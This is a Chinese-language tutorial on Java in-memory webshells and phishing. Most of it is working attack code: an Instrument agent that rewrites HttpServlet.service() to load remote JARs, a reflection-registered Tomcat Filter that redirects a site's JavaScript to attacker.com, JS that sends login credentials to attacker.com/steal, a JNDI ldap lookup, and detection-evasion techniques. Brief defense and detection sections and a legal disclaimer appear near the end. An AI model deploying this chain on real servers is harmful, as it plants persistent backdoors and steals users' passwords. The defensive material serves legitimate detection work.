java内存马深度利用:窃取明文、钓鱼
字数 1699 2025-08-22 18:37:14
Java内存马深度利用:窃取明文与钓鱼攻击技术详解
一、前言与背景
Java内存马技术已成为红蓝对抗中的关键手段,通过内存操作实现持久化攻击,规避传统检测机制。本文深入探讨如何利用Java Instrument机制实现:
- 内存马注入技术
- 配置文件解密技术
- 明文凭证窃取技术
- JS劫持钓鱼技术
二、核心技术原理
2.1 Java Instrument机制
Java Instrument API允许在JVM运行时修改已加载类的字节码,关键组件:
java.lang.instrument.Instrumentation:核心接口,提供类重定义功能agentmain方法:动态附加到运行中JVM的入口点ClassFileTransformer:字节码转换接口
2.2 类加载器隔离机制
每个类加载器维护独立的命名空间,关键技术点:
// 创建隔离的类加载器
URL[] urls = new URL[]{new URL("http://attacker.com/malicious.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(urls, parentClassLoader);
2.3 Servlet容器内存马
针对不同Servlet容器的注入点:
- Tomcat:
StandardContext→FilterDef/FilterMap - WebLogic:
ServletStubImpl.execute() - Spring Boot:通过
WebApplicationContext获取上下文
三、完整攻击链实现
3.1 攻击准备阶段
环境要求:
- Java 8+环境
- Javassist库(3.28.0-GA推荐)
- 目标应用Servlet容器访问权限
工具链:
- Agent加载器(agent-attach-java-1.8.jar)
- 恶意JAR生成工具
- HTTP服务端(托管恶意JS)
3.2 攻击实施步骤
步骤1:Agent注入
通过JVM Attach API注入Instrumentation Agent:
java -jar agent-attach-java-1.8.jar -pid [目标PID] -agent-jar [Agent路径]
Agent核心代码片段:
public static void agentmain(String agentArgs, Instrumentation inst) {
ClassPool cPool = ClassPool.getDefault();
// 定位关键Servlet类
for (Class<?> cls : inst.getAllLoadedClasses()) {
if (cls.getName().equals("javax.servlet.http.HttpServlet")) {
// 使用Javassist修改字节码
CtClass cClass = cPool.get(cls.getName());
CtMethod serviceMethod = cClass.getDeclaredMethod("service", ...);
serviceMethod.insertBefore(shellcode);
inst.redefineClasses(new ClassDefinition(cls, cClass.toBytecode()));
}
}
}
步骤2:植入Loader马
修改HttpServlet.service()方法,植入JAR加载逻辑:
String shellCode =
"if (request.getRequestURI().matches(\"/linject\")) {\n" +
" String lUrl = request.getParameter(\"lUrl\");\n" +
" String lName = request.getParameter(\"lName\");\n" +
" URLClassLoader urlClassLoader = new URLClassLoader(\n" +
" new URL[]{new URL(lUrl)}, this.getClass().getClassLoader());\n" +
" Class clazz = urlClassLoader.loadClass(lName);\n" +
" clazz.newInstance();\n" +
" return;\n" +
"}";
触发Loader马:
curl -X POST 'http://target.com/linject?lUrl=http://attacker.com/malicious.jar&lName=evil.Inject'
步骤3:注入Filter内存马
恶意Filter实现类(MyFilter.java):
public class MyFilter implements Filter {
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
HttpServletRequest request = (HttpServletRequest) req;
if (request.getRequestURI().endsWith("app.9fa057ee.js")) {
((HttpServletResponse)res).sendRedirect("http://attacker.com/malicious.js");
} else {
chain.doFilter(req, res);
}
}
}
通过反射注入Filter:
// 获取StandardContext
WebApplicationContext context = ...;
ServletContext servletContext = context.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
StandardContext standardContext = (StandardContext)stdctx.get(applicationContext);
// 创建并注册Filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new MyFilter());
filterDef.setFilterName("maliciousFilter");
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("maliciousFilter");
standardContext.addFilterMapBefore(filterMap);
3.3 JS劫持与钓鱼
攻击流程:
- 拦截原始JS请求(app.9fa057ee.js)
- 重定向到攻击者控制的JS文件
- 在恶意JS中植入键盘记录/表单劫持代码
恶意JS示例:
// 窃取登录凭证
document.getElementById('loginForm').onsubmit = function() {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({u: username, p: password})
});
return true;
};
四、防御与检测方案
4.1 防御措施
-
类加载防护
- 启用SecurityManager
- 限制URLClassLoader使用
-
Servlet容器加固
- 禁用动态Filter注册
- 开启Tomcat的
Context#setJarScanner校验
-
运行时防护
- 使用Java Flight Recorder监控类加载
- 部署RASP解决方案
4.2 检测方法
-
内存马检测
- 扫描
StandardContext.filterDefs中的异常Filter - 检查
HttpServlet.service()方法字节码
- 扫描
-
JS劫持检测
- 监控静态资源请求的302跳转
- 对比原始JS与运行时JS的MD5
-
Agent检测
- 检查
java.lang.instrument已加载Agent - 监控
VirtualMachine.attach()调用
- 检查
五、高级利用技巧
5.1 对抗检测技术
-
类名混淆
// 使用随机生成的类名 String className = "a" + System.nanoTime() % 10000; filterDef.setFilterName(className); -
字节码加密
- 使用BCEL或ASM动态生成字节码
- 运行时解密关键代码段
-
延迟加载
// 在Filter首次调用时加载恶意代码 if (maliciousCode == null) { maliciousCode = loadFromRemote(); }
5.2 横向移动技术
-
Spring Boot Actuator利用
- 通过
/actuator/env获取数据库凭证 - 利用
/actuator/restart重启加载恶意Bean
- 通过
-
JNDI注入
// 在Filter中植入JNDI查找 new InitialContext().lookup("ldap://attacker.com/Exploit");
六、完整工具链
-
Agent生成工具
- 使用Javassist动态生成Agent
- 支持Servlet/Jakarta双协议
-
内存马管理平台
- Web界面管理注入的Filter/Listener
- 支持多目标批量管理
-
JS钓鱼生成器
- 自动生成凭证窃取JS
- 支持多种前端框架劫持
七、法律与道德声明
本文所述技术仅限用于合法安全测试,未经授权对系统实施攻击属于违法行为。所有安全测试应在获得明确授权后进行,并遵守相关法律法规。